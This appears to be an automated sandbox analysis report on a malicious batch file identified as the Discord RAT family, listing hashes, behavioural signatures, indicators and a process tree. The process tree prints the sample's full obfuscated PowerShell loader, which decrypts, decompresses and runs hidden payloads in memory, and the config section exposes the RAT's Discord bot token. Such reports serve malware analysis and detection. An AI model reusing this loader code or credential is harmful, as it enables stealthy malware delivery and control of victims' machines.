Analysis
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max time kernel
82s -
max time network
91s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
13-05-2024 06:27
Static task
static1
Behavioral task
behavioral1
Sample
Client-built.bat
Resource
win10v2004-20240508-en
windows10-2004-x64
11 signatures
150 seconds
General
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Target
Client-built.bat
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Size
276KB
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MD5
0c82a2b143ba3344234988e76a83fb9e
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SHA1
41867630fed3a008020947c217b2d3029f0f7203
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SHA256
0bfc1382aa6e0329b1787ba6e1da7c615698c40ebe3acc4c7eaf59393127e7ca
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SHA512
491799b57350191479067677d9e98dd6dfb6f4e3755acbf806cbf9f7a5f4109822f03fbe7e216cfb19d8ccab49593b3fd07a06e524f8d75bb7a8e22b9b147e03
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SSDEEP
6144:Rf7Ie6igEJsHvviyhG8gbKXFOyPUCWxyRKuwlAvB1PIg:VrgEYvviyKuSxLuwlAv/Ig
Score
10/10
Malware Config
Extracted
Family
discordrat
Attributes
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discord_token
MTIxMjYwMTc0NTU0OTgxOTkyNA.G6ob17.hVj0y7t0oSi-tGvj_U-QqOqKV-xvE9qC8cf2k4
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server_id
1239461504776933396
Signatures
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Discord RAT
A RAT written in C# using Discord as a C2.
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Blocklisted process makes network request 6 IoCs
flow pid Process 10 4064 powershell.exe 13 4064 powershell.exe 15 4064 powershell.exe 16 4064 powershell.exe 37 4064 powershell.exe 38 4064 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
flow ioc 37 discord.com 38 discord.com 12 discord.com 13 discord.com 16 discord.com -
pid Process 4064 powershell.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 41 IoCs
pid Process 4064 powershell.exe 4064 powershell.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
description pid Process Token: SeDebugPrivilege 4064 powershell.exe Token: 33 3524 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 3524 AUDIODG.EXE Token: SeDebugPrivilege 1956 taskmgr.exe Token: SeSystemProfilePrivilege 1956 taskmgr.exe Token: SeCreateGlobalPrivilege 1956 taskmgr.exe Token: 33 1956 taskmgr.exe Token: SeIncBasePriorityPrivilege 1956 taskmgr.exe Token: SeShutdownPrivilege 4064 powershell.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe 1956 taskmgr.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3456 wrote to memory of 316 3456 cmd.exe 82 PID 3456 wrote to memory of 316 3456 cmd.exe 82 PID 316 wrote to memory of 1388 316 net.exe 83 PID 316 wrote to memory of 1388 316 net.exe 83 PID 3456 wrote to memory of 4064 3456 cmd.exe 85 PID 3456 wrote to memory of 4064 3456 cmd.exe 85
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3456 -
C:\Windows\system32\net.exenet file2⤵
- Suspicious use of WriteProcessMemory
PID:316 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file3⤵PID:1388
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('h/pj37mdJYLWvIIq4ccZ4XXl2YrTSq1NSmb5N3irBBA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AckqLhjbBU92JLFFeiEdeA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $XVapQ=New-Object System.IO.MemoryStream(,$param_var); $JKJeN=New-Object System.IO.MemoryStream; $Uldzf=New-Object System.IO.Compression.GZipStream($XVapQ, [IO.Compression.CompressionMode]::Decompress); $Uldzf.CopyTo($JKJeN); $Uldzf.Dispose(); $XVapQ.Dispose(); $JKJeN.Dispose(); $JKJeN.ToArray();}function execute_function($param_var,$param2_var){ $NLrpg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $keuMG=$NLrpg.EntryPoint; $keuMG.Invoke($null, $param2_var);}$cADeX = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$host.UI.RawUI.WindowTitle = $cADeX;$FbVEn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($cADeX).Split([Environment]::NewLine);foreach ($HkIRx in $FbVEn) { if ($HkIRx.StartsWith(':: ')) { $sSiRv=$HkIRx.Substring(3); break; }}$payloads_var=[string[]]$sSiRv.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4064
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C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x150 0x42c1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3524
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1956
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82